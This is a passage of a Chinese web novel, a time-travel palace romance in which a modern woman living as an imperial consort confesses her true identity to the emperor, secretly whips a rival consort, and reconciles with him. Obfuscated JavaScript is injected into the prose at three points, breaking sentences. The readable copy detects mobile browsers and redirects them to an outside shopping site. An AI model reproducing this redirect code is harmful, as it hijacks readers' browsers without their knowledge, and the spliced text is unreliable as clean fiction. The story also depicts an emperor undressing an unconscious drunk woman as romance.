“当然,他是本宫的哥哥。” 尧卿脸上瞬间显现雀跃的神情,她拉起夏星辰的手,笑道:“误会,真是误会了。” “什么意思这是?”夏星辰被尧卿这突如其来的热情吓得够呛。 “我们以后会是一家人,哪有一家人兵戎相向呢,你说是不是?” 夏星辰震惊的开口:“一家人?” 尧卿欢喜的点点头:“是啊,本公主心悦苏风逸,未来,本公主就会是将军夫人!”说这话时,她的脸上出现了向往的神情。 “哇塞,有眼光!”夏星辰竖起了一个大拇指:“还真是我哥高攀了。” “是吧,你也觉得本公主和苏风逸很配?” “肯定啊,你是公主啊,肯定是他高攀。” 尧卿挽着夏星辰的胳膊,开心的笑道:“你嘴太甜了,本公主可太喜欢你了。走,本公主在民间寻得了一壶好酒,去公主府共饮,可好?” 一听到有好酒,夏星辰笑得眼睛都眯成缝:“好!” 公主府里,二人不知道喝了多少瓶酒,尧卿已然喝趴在桌子上。而夏星辰喝得迷迷糊糊,她坐在桌子上,支支吾吾地说道:“这酒也太烈了。” 随后,她从桌子上猛地跳下来,一个脚步不稳,身体将要和地板来个亲密的接触时,一只强有力的手稳稳地抓住了她的手臂,使得她将整个身子都靠在了眼前之人身上。 “林贤,命人将公主送回房歇息。” “是。” 醉酒醉得分不清谁是谁的夏星辰,忽的抬起手,盯着手腕,努力眨巴着眼睛:“几点了啊这是,我的手表呢?” “你找什么东西?” 夏星辰突然破口大骂道:“哪个乌龟王八蛋,偷我手表?” 找不到手表的她,又将手往大腿外侧掏去,却始终都掏不到口袋。原本就还在生气的夏星辰再一次大骂:“我的手机也被偷了!” 尧让仍然紧攥着她的手臂,无奈的说道:“你能不能说些朕能听得懂的?” “哈哈哈,这位帅哥,你好帅啊,单身吗?”夏星辰侧过头看着尧让,笑眯眯的搭讪道:“你看看我怎么样?这样吧,我们加个绿泡泡,企鹅也可以。” 尧让直接一把将她抱起,他显然是不想再继续听她胡言乱语下去了;怀里的人一次又一次的挣扎,可尧让却一次次的在绝对力量上将她压制住。 回到极咸宫,尧让便命婢女给夏星辰换身干净的衣裳,没想到,婢女才刚解下她的外衣,就被夏星辰用力一推。 下一刻,夏星辰便从床榻上坐起身,立刻做了一个抱胸的姿势:“不准碰我!我可是个正儿八经的女孩子,不跟你搞那些七七八八的。” “陛......陛下。”婢女一脸无助的看着坐在椅子上的尧让。 “退下去吧,朕来。” “是!”婢女应声后便退了下去。 尧让站起身,一步步走到床榻边,看着仍旧醉酒迷糊的夏星辰,轻声说道:“朕又不是没见过你的身子,总不能连朕也碰不得吧?” “嗯?你的意思是我把你睡了?”夏星辰抬起头看着尧让,忽的笑道:“放心,我是个负责任的人,从今天起,我养你啊。” “养朕?真是好大的口气?”尧让觉得又气又好笑:“苏清夕,你......” 夏星辰突然打断他:“你等等,你叫我什么?苏清夕?苏清夕是谁啊?你前女友啊?” 闻言,尧让坐在床榻边,嘴角上扬,一步步引导着:“哦?你不认识苏清夕啊,那你是谁啊?” “我?”夏星辰一手搭在尧让的肩膀上,另外一只手轻轻拍了拍自己的胸脯:“隆重跟你介绍一下,我爸说他希望我这一生闪耀如星辰,所以,我的名字叫夏星辰;他也希望我圆圆满满,并给我起了一个叫小满的小名。” “但是......”似乎想起了什么,夏星辰说着便大声哭了出来。 “但是什么?” 夏星辰像个小孩一样哭着说道:“但是我爸走了之后,就再也没有人叫我小满了。她们都欺负我,经常饿我肚子。” 见她的眼泪不停地往脸颊上落,尧让不禁抬起手,温柔的擦拭着她脸上的泪水:“夏星辰!小满!的确是很好的名字,朕很喜欢。” 他这般暧昧的动作和话语,夏星辰突然抬眼看着他,然后身体猛地往后退去。 “不行的,不行的,虽然你很帅,但你得离我远点,我们还是别靠的太近了。”夏星辰说这个话时还左顾右盼:“太危险了。” “为何?”尧让不解。 她看着他,低声说道:“我穿越到了一个地方,一睁眼就变成了别人,还拥有了一个强势又腹黑的病娇老公皇帝,脾气坏得很,动不动就爱生气,尤其是爱杀人。” “哦?是这样啊?”尧让没忍住扬起了嘴角。 夏星辰点点头:“是这样的,所以我们还是别靠得太近,我不能出轨。” “苏......”刚要习惯性地说出口‘苏清夕’的名字时,他立马就纠正了过来:“夏......星辰,你好好看看,朕是谁?” 夏星辰半信半疑的凑过去,眼前的脸逐渐清晰。下一刻,她忽的抬高了声音:“啊!你是我老公啊!” 在尧让还未反应过来的时候,她已经抬起手抚摸着他的脸,笑着说道:“你真是我老公啊,太帅了。” “夏星辰!”尧让突然抓住她那只伸进他衣襟里不安分的手:“你别乱摸!” “你是我老公,我还不能摸了?难不成......” 看着夏星辰那‘不怀好意’的眼神,尧让略显慌张:“难不成什么?你......你这般看着朕是何意?” 她收回自己的手,脸上带着点嫌弃:“你不行吧?这是病,得治的。” “朕行不行你应当很清楚啊?”尧让带着戏谑的表情看着她:“难道是那一次留给你的印象并不是很深刻?” 她将目光落在某处,花痴般笑出了声:“嘿嘿,那让我看看。” 尧让简直是被眼前这个‘酒疯子’给气笑了,他咬牙切齿地说道:“你的眼睛是不打算要了吗?” 听到这话,夏星辰便用力抽回自己的手,随即便躺在床榻上闭上眼,语气极为不满:“切,搞得我稀罕似的,我要睡觉了,你出去吧。” “起来,换身衣裳。” 可躺在床榻上的人已经瞬间进入了梦乡。尧让闻着满身酒气的夏星辰,他实在是无法接受,紧接着便不管不顾的直接动手将她身上的衣裳换了下来。 ...... “我的头好痛啊。”夏星辰嘀咕着睁开眼,便缓缓坐起身。 发现自己醒来是在极咸宫内,内心便有种不好的直觉,但即便自己怎么费尽脑汁的回忆昨夜发生的事情,还是只记得自己和尧卿在公主府喝酒的事情,醉酒之后的事情是一件也想不起来了,更别说自己是怎么出现在极咸宫里的。 无论是发生了什么,为今之计只能是先离开这是非之地。她拍了拍自己的头,连忙下了床,然后丝毫不敢耽搁的往门口走去。 刚一推开门,就迎面碰上了尧让和林贤。夏星辰不禁倒吸一口凉气,尴尬的笑道:“好巧啊。” “你这是打算偷偷溜走?”尧让边说着边往前走一步。 夏星辰被他逼得后退一步,摇了摇头,脸上的那尴尬的笑容仍然维持着:“怎么会呢,我......我只是饿了。” “林贤,准备吃食。” “是!” 看着满桌子丰盛的吃食,此时夏星辰只吃得下眼前这碗白粥,怪只怪那酒精实在是太上头了。 她喝完粥后,抬眼看着他,试探性的开口道:“陛下,我能回去了吗?” “别急啊,你没有什么事情要跟朕说的吗?” 听到这话,夏星辰一脸错愕:“什么事情啊?我怎么没有印象呢?” “还记得朕之前在东宫同你说过的那件事吗?”尧让看着她,话里有话道:“即便是长相一模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你先回答朕,你是谁?” 看着尧让这般严肃的神情,她轻声回答:“夏星辰。” 尧让嘴角不禁上扬:“哦!那你一五一十的说清楚,讲明白,讲到朕能理解为止。” “好吧。”夏星辰长长的呼了一口气,做足了心理准备后,便缓缓开口:“是这样的。我听了个广播......不对不对,应该是这样的,我在博物馆欣赏文物,意外闯入了禁止观览区,然后莫名其妙的晕倒了,一睁开眼就出现在这里了。” 她刻意隐瞒了有关于秦始皇的事情,暂且不说尧让认不认识;这光是说起秦始皇的故事,再加上尧让这个古代人的诸多困惑,那得说上个几天几夜了。 而且,夏星辰现在还不确定尧让与秦始皇有没有关系。 看着尧让一副越发不解的模样,她直接言简意赅的说道:“简单来说,就是我失去意识后,就莫名其妙变成了苏清夕。” “那苏清夕呢?” 夏星辰摇摇头:“我也不知道。” “不会是你杀了她吧?” “不可能!我怎么可能杀人啊,这可是要吃牢饭的,搞不好要判死刑的!我才不会做这种愚蠢的事情呢。”夏星辰眼神坚定的说道。 尧让忽的笑出声:“原来如此。难怪你会倒戈相向,难怪你会那么在乎将军府的生死。合着你根本就不是苏清夕!” “我的确不是苏清夕!”夏星辰生怕自己说的话让他觉得太荒唐,随即便抬起手做了一个发誓的手势:“我发誓,我说的都是真的,我绝对不是什么细作啊。” 尧让卡了一眼自己身旁的椅子:“坐在朕身边。” 夏星辰点了点头,小心翼翼的坐在了他身旁的椅子上,低声道:“我说的可是真的,绝对没有撒谎。” “你从何处来的?” “呃......新时代!” “所以你前几日会知道那跛脚之人有问题,是因为你来自于所谓的新时代?能预知即将发生的事情?” 夏星辰机械般的点点头,紧接着小声的询问道:“陛下,难道你接下来要问我关于朝代盛衰的结局和走向?” 尧让不屑的冷笑道:“你还真的以为朕会信戏文上写的东西?” “那是有历史依据的?” “可你怎知晓书写戏文的人是否真的了解朕?了解一个朝代?即便你说的是真的,朕可从来不是一个靠投机取巧取胜的帝王。” 42.以眼还眼 “也是。”夏星辰颇为认同的点点头。她不得不承认,尧让这个帝王确实是挺有谋略的。 “那朕今后是唤你为夏星辰,还是小满啊?” 夏星辰震惊的侧过头,迎上他那双极为好看的眼睛,然后不知所措的说道:“小满?这个我也说了?” “你同朕说的可多了。”尧让笑道:“例如......想同朕在一起。” “那这的确是真的。” “你这回答朕甚是满意。”尧让颇为满意的笑了笑:“朕还有事情要解决,你先回去歇息吧。” 酒精带来的上头感觉还未完全消失,夏星辰无力的点点头:“那我就先回去睡觉了。” 回去莹粹宫的路上,刚才发生的事情,使得夏星辰此时还心有余悸。细细一想,幸亏她穿越到的是不受宠的妃子身上,一旦穿越到了皇帝最爱的女子身上,然后再被拆穿...... 那还真是跳进黄河都洗不清...... “小莲,我回来了。你给我煮碗面吧,有点饿了。”夏星辰走进莹粹宫,便开始漫不经心地说道。 “是,奴婢这就去。” “你站住!”夏星辰被她这嘶哑的声音吸引了注意力,突然转过身,一步步走到小莲身后:“转过身,看着我。” 小莲缓缓转过身,抬起头的瞬间,脸上的伤痕被夏星辰看得一清二楚:“你这伤是怎么回事?被谁打的?” “是萧嫔差人将奴婢唤了过去,随即就不由分说的打了奴婢十来个耳光。” 夏星辰攥紧拳头,冷笑道:“很好啊,我不去找她,她倒是一次次拿我当软柿子捏呢。什么狗屁的忍一时风平浪静,这萧诗柔,明摆着我忍一时,她便蹬鼻子上脸,我还真是给她脸了!” 一想到这,身上的疲乏感瞬间消失得无影无踪。她看着小莲,安慰道:“别哭了,我去找她,替你讨公道。” “娘娘,奴婢没事。您别去找她了,万一连累您被罚......” “小莲你要记住,善良只会让施暴者得寸进尺,适当的反击才是安身立命之法。” 说罢,夏星辰便径直走出莹粹宫,往萧诗柔的寝宫走去。她在萧诗柔的寝宫门口停下脚步,看着装潢依然奢侈的寝宫,不禁冷笑了一声。说是降了妃位,可萧诗柔享受的却还是贵妃的奢靡生活。 这生活质量可真是一点都没改变...... 夏星辰一想到这全是尧让那狗皇帝的偏袒造成的,她心中的怒火就更盛了。随即便带着怒火走了进去,婢女刚开口的通传声还未落下,夏星辰就已经大步走了进来。 一踏进去便看到了坐在一旁的萧诗柔,以及......尧让!她还未想通尧让怎会出现在此,萧诗柔就先开了口。 “明妃娘娘怎么未等通传就自己闯进来了?还真是越发的失了规矩。” “臣妾见过陛下!”夏星辰没有理会她,反而是朝坐在主位上的尧让躬身行礼。 “免礼!” 夏星辰虽然不知尧让出现在这的缘由,但她可没有因为他在此就忘记了自己来这里的目的。 她的目光落在萧诗柔身上,话语里没有任何温度:“若本宫没记错,你现在已经从贵妃贬为嫔;论及位份尊卑,你应当向本宫行礼才是!” “你......”萧诗柔一脸委屈的看向身旁的尧让:“陛下,明妃她故意来此羞辱臣妾。” 尧让看都未曾看她一眼,只是冷淡的开口:“明妃说的在理,何来羞辱之说?按宫规品级,你是应当向明妃行礼的。” 见萧诗柔迟迟未站起身,他依旧未侧过头看她,而是再次落下冰冷的话语:“需要朕让人教你如何行礼吗?” 话音刚落,萧诗柔立刻站起身,朝着夏星辰躬身道:“臣妾见过明妃娘娘。” 夏星辰走到萧诗柔身前,冷声道:“本宫来此可不是为了教你规矩礼仪的,而是想要问问你,你凭什么擅自命人擅闯本宫的莹粹宫?凭什么带走本宫的婢女?又凭什么教训本宫身边的人?” “明妃娘娘的下人不长眼,本宫身为嫔妃,难不成,本宫连教训一个下人都没有资格吗?”萧诗柔说这话时,脸上并没有出现任何过意不去的神情。 此话一出,一记响亮的耳光便重重的落在了萧诗柔的脸上。 “苏清夕!”萧诗柔捂着被扇耳光的一侧脸颊,愤怒的喊道。 “怎么?本宫是妃位,没资格打你一个小小的嫔吗?” “够了!”尧让忽的开了口,叫停了二人的争执,冷声道:“朕还坐在这里呢?你们二人别在朕面前争执,朕嫌吵。” “苏清夕,你为了一个下人,跑到萧嫔寝宫里这般胡闹,成何体统?”尧让忽的抬眼看向夏星辰。 “第二次了,陛下!”夏星辰迎上他那双冷漠的黑眸,一字一句地说道:“是不是无论如何,陛下你都要铁了心护着她?” 尧让的语气逐渐不耐烦:“一个下人而已,何至于此?” “下人?”夏星辰态度强硬:“若我今日定要讨个公道呢?” “你敢?”尧让紧盯着她:“在朕眼前动手,你把朕当成什么了?” 夏星辰渐渐攥紧拳头,下唇也因无声的愤怒而被一点点咬破。可在皇权面前,她还是选择吞下了这份苦楚,而后苦笑道:“好。” 言简意赅的丢下一个字后,夏星辰转过身径直的走了出去。 入夜后的皇宫静悄悄,偶尔只有御林军夜巡的踱步声。而在宫墙之上,一道身影正蛰伏着,似乎是在等待着什么。 直到从甘宁宫走出来的人一步步往此处走来......萧诗柔与身旁的婢女缓慢走在宫道上,二人的脚步突然停住,视线皆落在前方的黑衣人身上。 只见那黑衣人手持着长枪,正死死的盯着她们。随后,手中的长枪缓缓抬起,前者一步步朝着她们走去。 “救命啊,有刺客!”萧诗柔身边的婢女抬高声音的大喊道。 可也不知为何,无论婢女用多大的声音喊叫,却始终没唤来一位御林军。 “你是什么人?敢在皇宫造次?”萧诗柔话刚说完,突然猛地将婢女打晕了过去。 见状,黑衣人语气略显震惊:“你竟然会武功?” “原来是个姑娘!派来刺杀本宫的,想来你应当是有点手段的。”说着,萧诗柔从袖口抽出一柄长剑,紧接着便是先发制人,未等黑衣人反应,先一步出了手。 萧诗柔出剑的速度非常快,持着长枪的黑衣人一开始还可以抵挡得住,甚至还可以有空隙进行反击。但随着她出剑的速度越来越快,黑衣人明显难以招架,直至被逼退了几步远。 黑衣人紧攥着长枪,紧盯着萧诗柔的下一步招式。后者趁势追击,手握长剑朝着黑衣人刺去,在长剑要贯穿那人的咽喉时,黑衣人手中的长枪已然抬起,死死的挡住了刺来的长剑。 下一刻,另外一杆长枪又朝着萧诗柔飞来,萧诗柔立即躲开。趁着她分身之际,黑衣人果断出手,手持长枪划伤了她的手臂,随后再朝着她的胸膛处踢了一脚,将其狠狠踢倒在地。 “用这个。”黑衣人侧过头,还没来得及开口说话,却稳稳的接住了站在城墙上的面具人抛过来的长鞭。 黑衣人心领神会,手拿着长鞭,一鞭一鞭的落在萧诗柔的身上,已然数不清甩了多少鞭,直到萧诗柔吐出了一口血后,黑衣人才收回了手。 “行了,别把人打死了。”面具人不知何时已经跃下城墙,此时的他紧紧的握住了黑衣人的手:“先离开。” 话音刚落,面具人搂住黑衣人的腰,轻松跃上城墙,然后消失在夜色之中。 宫墙上,黑衣人猛地推开面具人,开口质问道:“很好玩吗?” “这话不应当是我问你吗?你觉得好玩吗?” “我没让你帮我,陛下!”此话一出,成功揭穿了二人的身份。 身份既然被拆穿,尧让便索性将面具摘下。而后,他只是看了黑衣人一眼,便手疾眼快的取下了黑衣人脸上的黑面纱,在看到是夏星辰后,他不禁笑出了声。 “夏星辰,你知道你这行为叫过河拆桥吗?方才可是朕帮了你!” 夏星辰不屑的切了一声:“我不需要你帮我。” “萧诗柔背后的是萧国公势力,而她从小就被萧国公培养成死士,她的武功绝对在你之上,若朕方才不出现帮你,你必然被反杀。” 看着尧让说这话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这不一样,陛下!帝王家从不缺爱,缺的只是利益。或许我所处的那个时代也是利益至上,但我却是个油盐不进、跟不上新思想的老古董!若是一开始带着目的接近的,那这种关系就不能叫情感,而是伙伴,还是只有利益关系的伙伴。” “可我跟你的关系是什么呢?我想到的只是棋子与执棋人的关系。像我这种一次次被你利用的棋子,怎么会是你的软肋呢?又有什么资格做你的软肋呢?”夏星辰甩开他的手,苦笑道:“其实,你和尧显那个利己主义者也没什么区别。” “朕与尧显不同!朕,只打能赢的仗!在搞不清楚敌方究竟隐藏了多少实力之前,是要藏拙的。是,朕是利用了你,但朕至少能护你周全。” “强制爱也是护周全?在我面前护下萧诗柔也是护周全?你把我当什么了?”她失望的笑出了声。 “朕......朕承认,这是个下策。” “尧让,如若我今日真的被萧诗柔杀了,你会不会像当年为了太子那般,不顾一切、单枪匹马的替我手刃敌人呢?也许你会说,你当时只是皇子,现在已然是皇帝,所面临的局势已经完全不同。”夏星辰抬起手擦拭脸颊上的泪水:“可我不是圣人,也不想做什么救世主。我讨厌被抛弃,讨厌被利用!谁也不能道德绑架我,让我去成全所谓的‘大局’,即便你是皇帝,也不行!” 话音刚落,夏星辰便跃下城墙,单薄的身影逐渐消失在尧让的视线中......而后者一句话也说不上来。 “娘娘,娘娘。” 夏星辰边打着哈欠边搅和着眼前碗里的粥,一脸倦态的应声:“在呢。” 小莲跑了进来,刻意压低声音说道:“娘娘,您知道吗?萧嫔昨夜遇到刺客,被鞭刑了,此刻还在昏睡呢。” “哎呀。”夏星辰将一汤匙粥送进自己嘴里,略显得意的笑道:“这就叫‘以眼还眼以牙还牙’。” “小莲多谢娘娘!”小莲此刻可谓是心知肚明。 “嘘!低调!”夏星辰轻轻拍了拍身旁的椅子:“坐下,吃早餐。” “小清夕,我来了。”尧卿风风火火的闯了进来。 见状,小莲立马站起身,将夏星辰身旁的位置腾了出来,微微躬身道:“见过公主!” 尧卿坐在夏星辰身边,没忍住笑出声:“听说了吗?昨夜不知为何,皇宫里居然来了刺客,还鞭刑了萧诗柔。不知道那蠢货究竟是做了什么人神共愤的事情,招惹来了侠肝义胆的勇士!” “的确是勇士!”夏星辰笑道。 “我早就看她不爽了。”尧卿忽的凑近夏星辰,低声说道:“对了,苏风逸最近是否来皇宫找你?” 夏星辰不解地开口:“频繁找我也不太好吧?毕竟我是皇帝的妃子,总来找我难免会落下口舌。再说了,你与其等着他来找我,何不去御书房等着,他一定会去找陛下的。” 43.此事没有商量的余地 “找皇兄啊!”尧卿不禁咽了一下口水:“算了吧,我可不敢去打扰他。” 看她这胆战心惊的模样,夏星辰觉得好笑:“陛下虽然一副生人勿进的模样,但毕竟是你兄长,你不至于这般害怕他吧。” “皇兄待我是很好,可是他一点都不懂得怎么哄姑娘家,每次都是逼迫我做我不喜欢的事情,也逼我吃我不爱吃的东西。” “为何?” 尧卿摆了摆手,示意小莲退下去。而后者也识趣,躬身后便退了出去。 “皇兄和太子皇兄不一样。太子皇兄非常细心,懂得怎么讲出一番令人心情愉悦的言语,也会用心记住我们每一个人的喜好。可皇兄就不一样了,他固执的认为自己觉得好的东西,无论对方喜不喜欢,他都要强迫对方喜欢。所以有的时候,他的这番行为,实在是令人无福消受。” “呃......好像是如此。”夏星辰看着她,发问道:“按道理来说,他身边有太子这个榜样,即便是照葫芦画瓢,也差不到哪里去啊。” “非也非也!”尧卿摇了摇头:“皇兄去到先皇后身边的时候,当今太后那个老太婆已经将一些不好的东西影响了皇兄,一时之间是很难改掉的。” “不好的影响?当今太后不是陛下的生母吗?她这般不喜欢陛下吗?” “我也不是很清楚。因为我同皇兄走近的时候,他就已经在先皇后身边了。” 夏星辰捕捉到尧卿眼中的钦佩之意,她笑了笑道:“你嘴里虽然全是吐槽陛下的话,但你眼中的钦佩之意却有增无减。” 提到这,尧卿便是一脸的得意:“那当然了!若非当年皇兄不顾众朝臣威逼与反对,执意没将我送去苦寒之地和亲,那现下的我是死是活都尚未可知呢。” “所以,皇兄虽然大多数时候不懂得如何把话说明白,也不懂得如何讨得姑娘家的欢心,但他的确是实实在在护住了他的皇妹,自然而然,我对他甚是钦佩。” 夏星辰笑道:“听你这么说,陛下还真是个好皇兄呢。” 尧卿点点头:“话虽如此,但我还是有点怕皇兄,尤其是他神情很严肃的时候。” “好吧。”夏星辰无奈的笑出了声。 见夏星辰碗里的粥喝完了之后,尧卿忽的挽住她的手,笑了笑:“小清夕,既然你用完早膳,那我们一同去御书房吧,你顺便去看看你兄长,我也顺便看看他。” 就这样,尧卿连哄带骗的拉扯着夏星辰往御书房走去。 御书房内,坐在龙椅上的尧让放下手中的奏折,缓慢抬起眼看向阶下站着的国公萧泞,沉静道:“国公,你的意思是要朕给你个交代?” “陛下,臣的小女在皇宫中遇袭,此等绝非小事。”萧泞躬身道:“臣请求陛下细查。” “朕已命人彻查此事,可袭击萧嫔的凶手没留下任何的蛛丝马迹;国公先回府,耐心等着消息便是。” “陛下......” “朕说了,此事还在查!”尧让冷声打断了他的话,继而开口道:“国公,御林军要查的可不仅仅是凶手,还有宫道里遗留下来的那把长剑!” 见萧泞脸上的神情逐渐阴沉,尧让冷笑出声:“所以,你与其在这里让朕给你个交代,还不如好好想想,自己有没有惹了不该惹的人?亦或者是,有无仇家?” “陛下说笑了!” “国公你知道的,朕不喜讲笑话!”尧让站起身,一步步朝着阶下走去:“萧诗柔能进皇宫,能在后宫当贵妃,可不是朕昏庸,也不是太后的面子太大,更不是朕忌惮国公府的势力;而是朕,给了国公府机会!” 他走到萧泞身前停下,看向他时眼底划过了一抹冷意:“有些事,朕不揭穿,不代表朕不在意。朕与先帝不同,先帝总有一堆大道理,可朕没有,朕喜欢当机立断。” 话音刚落,尧让看了一眼案桌上的奏折:“就好比你联合几位大臣上书给朕施压,这便是很令朕不悦。你们不会真的以为,单靠这几本奏折,就能干涉朕的决策?究竟谁是皇帝,你们分不清吗?” 萧泞连忙低下头,低声道:“臣不敢!” “不敢便好。”尧让语气冷淡道:“萧泞,你最好祈祷,萧诗柔并不是你刻意安排在朕身边的,否则就是你要给朕一个交代了!另外,朕倒是不介意再清洗一次朝堂,就是不知国公你还有多少成把握能稳坐高位呢?” “是,陛下!” “朕只给御林军一月的时间,一月后,无论是遇袭之事,还是萧诗柔的事情,朕定会要个结果。届时,国公要的交代应当也会很满意。” 萧泞仍旧低着头,稳坐国公位置这么多年,帝王的话中之意他岂会读不懂;在这样的情况下,他只能恭敬地说着同样的话:“是,陛下!” “既然无事要奏,便退出去吧。” 夏星辰和尧卿刚走到御书房外,便看到萧泞一脸狼狈模样的走了出来。 “萧国公?”尧卿走到林贤身边,小声地问道:“林公公,他来找皇兄所为何事啊?” “奴才不知!” 尧卿给了他一个白眼:“你当真是无趣极了。” 一旁的夏星辰抬眼看着御书房内,突然与转过身的尧让对视上。最后还是殿内的帝王开了口:“进来。” “皇兄,我来了。”尧卿刚迈上两层阶梯,却被尧让叫停:“给朕站住!苏风逸和百里在廷尉狱,你去找他们吧。” 尧卿一听到苏风逸在皇宫,开心的笑道:“果然知我者莫若我皇兄啊!”随即便将迈出去的脚收了回来,朝着夏星辰挥了挥手后就往廷尉狱方向跑去。 “还真是重色轻友!”夏星辰看着她狂奔的背影,忍不住吐槽。 “明妃,需要朕亲自去请你进来吗?”殿内的尧让再一次开了口,只是这一次话语的语气甚是让人感觉到他的不耐烦。 “不用这么麻烦陛下!”夏星辰硬着头皮一步一步走进了御书房;与此同时,殿外的林贤也识趣的关上了门。 “臣妾见过陛下!” “知道朕为什么叫你进来吗?” 夏星辰面显无奈:“陛下你总不会无聊到,叫我进来只是因为你无聊吧?” 尧让没有回应她,只是一步步的靠近,而她只能一步步后退;直到整个身体紧紧贴在柱子上,她才开了口:“陛下,已经退不了了。” “既然退不了,那你就安分的听朕说着。” 夏星辰乖巧的点点头。 “夏星辰,朕从未认为朕与你的关系就只是你口中的伙伴,自然也不是你口中的执棋人与棋子的关系;是你说的,朕与你是夫妻关系,不占些便宜,就说明朕有病,亦或者你有病,对吧?” “陛下,你要这么说的话,的确是这个理!无论我是苏清夕,还是夏星辰,现在的我是你的妃子。你是皇帝,宠幸后宫的任何一个人,你是有这个权利的。” 尧让忽的俯下身看着她的眼睛,一字一句地说道:“朕不喜欢绕弯子。如若你觉得朕之前的行为是在利用你,那朕跟你道歉,朕是觉得朕能护得住你,所以才会那般,并非有意如此,当然,没能顾及你的感受,是朕的错。” “至于你所说的所谓利益关系。朕觉得,朕与你之间不存在利益关系,你也不是什么棋子,这个朕很早便同你解释过了。”尧让轻轻抬起她的下巴,迫使她迎上自己的双眼:“至于你昨晚问朕那最后的问题,朕现在就可以回答你,” 不知为何,夏星辰此时的心脏跳得很快,快到自己都听得清清楚楚,似乎她自己也很期待尧让即将说出口的答案。 “若你真是被萧诗柔杀了,朕定会单枪匹马替你手刃敌人,无所畏惧。当初身为皇子可如此,如今身为皇帝,亦可如此!不会出现所谓的形势所迫。”尧让认真的看着她说道:“夏星辰,皇帝是属于天下的,但尧让是属于你的,天下安定,护住的不仅仅有子民,还有你。” “所以,无论是站在你的立场,还是天下的立场,朕与尧显那利己主义者完全不同!” 听着他的这番话,夏星辰嘴角不自觉上扬。下一刻,在尧让还深陷在自己是否解释清楚时,她已经踮起了脚,轻轻的在他冰凉的唇上落下了一个吻。 被猝不及防强吻的尧让愣了神。夏星辰缓缓闭上了眼睛,轻声说道:“尧让,你还记得我说过的吗?女孩子闭上眼睛就是要你......” 话还未说完,尧让的唇便已经覆盖住了她的唇。她抬起双手环住他的脖子,享受着此刻的温存。 尧让见她踮起脚的模样,低笑了一声。随即将她整个人抱起,他的吻急切又热烈,将那未表达出来的情感全融入了这个吻里。 “你咬朕做什么?”尧让抬手轻摸了一下自己被咬破的嘴唇。 “不好意思啊,生疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827261|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点。” “朕差些忘了,我们的那一次,是朕主动的,你生疏实属正常。”尧让笑了笑道:“如此,那就一步步来。” 说着,他将她放在软榻上,刚解开她腰间的衣带时,却被她紧紧抓住了手腕。她无奈道:“阿让,这可是御书房!” 尧让将脸凑到夏星辰耳边,轻咬了她的耳朵,轻声说道:“是朕思虑不周了!朕可以再等等。” 在殿外守着的林贤听到殿内的动静,没忍住笑出了声:“陛下和娘娘总算是苦尽甘来了。” “你这个成事不足败事有余的废物,连讨好皇帝都办不到?我留你有何用?”房间内传出来的怒吼声传了出来,使在外打扫落叶的两位婢女不禁打了个寒颤。 她们似乎对这事情见怪不怪了,连忙拿起木桶,往外走去。 萧诗柔从床踏上摔了下来,但她顾不上身体传来的剧痛,立马稳稳的跪在地上:“爹,女儿不是有意的。” “你个蠢货!身为国公府精心栽培的死士,竟然被来路不明的刺客打伤?既不能讨得狗皇帝的欢心,也不能为我做什么,你还能有些什么用?”萧泞冷冷的看着她,怒火已然是完全爆发了。 “若非苏清夕那个贱人坏了女儿的计划,当时女儿就已经与狗皇帝生米煮成熟饭了。” 萧泞捏着萧诗柔的下巴,力道越来越重:“萧诗柔,你应当知道的,我最是讨厌蠢货!你只有这一次机会了,若是狗皇帝查出来那柄长剑与你有关,若是他知晓你会武的事情,以及你死士的身份......” “那你这条贱命,我也保不住!听懂了吗?” 萧诗柔惊慌的点点头:“求爹教女儿该如何做?” “如何做?你这是忘记了我教过你的?”萧泞一把松开萧诗柔,冷淡开口:“谁若是成为你坐上凤位的障碍,那就都杀了便是!” “是,爹!女儿懂了。” “记住了,这是你最后的机会。”萧泞将话冷冰冰的甩下后便头也不回的走了出去。 互通心意之后,夏星辰满心欢喜的以为是她与尧让的第一次约会,没想到他却带她来到了训练场,脸上的欢喜也瞬间消失...... 她看着训练场上各式各样的兵器,满脸疑惑的看着身旁的尧让:“阿让,这是要做什么?” “朕实在是不满意你上次败给萧诗柔的事情!若是单纯的难分胜负便算了,但你险些被她杀了,这不是一件小事。” “然后呢?”夏星辰总觉得有种不好的预感。 此时尧让脸上虽然是带着浅浅的笑容,但这笑容里又夹杂着些许不容违抗的威压:“然后?然后你继续练。从此刻起,朕教你的每一招一式,你都要学会;另外,每日十里地也不能落下。” “尧让,你变态啊!” 见夏星辰心不甘情不愿的骂着,尧让往她身边走近了一步:“这件事没有商量的余地!只有你自己变强大,才是真正的护你周全。” 话音刚落,他便凑到她耳边,语气绝情:“若你不听话,敢偷懒,朕就命人每天只给你送一个馒头,还有那些赏赐给你的黄金以及名贵之物,统统收回。” “你过分了!” 尧让笑出了声,他抬起手轻捏着她的脸颊:“随便你怎么说,此事你做也得做,不做也得做。” “知道了。”夏星辰拿起一杆长枪,直指着尧让:“眼下是要对上几招?” “出手吧!” 夏星辰持着长枪,轻轻跃起,朝着尧让刺了过去。后者侧过身,一手紧握住枪杆,用力一甩,夏星辰连人带枪直接被甩飞。这强大的力道,使得她即便是双脚落地,身体也仍旧后退了好几步。 她还未缓过神,尧让持着长剑再次对她发起了攻击。她抬起手中的长枪,抵住了长剑,可下一瞬,尧让手中的长剑便击落了她的长枪,而那把长剑已然停在她咽喉前。 “将长枪捡起来,跟着朕学。”尧让收回长剑,语气没有一丝温度。 “哦。”夏星辰满脸不悦的捡起了地上的长枪。 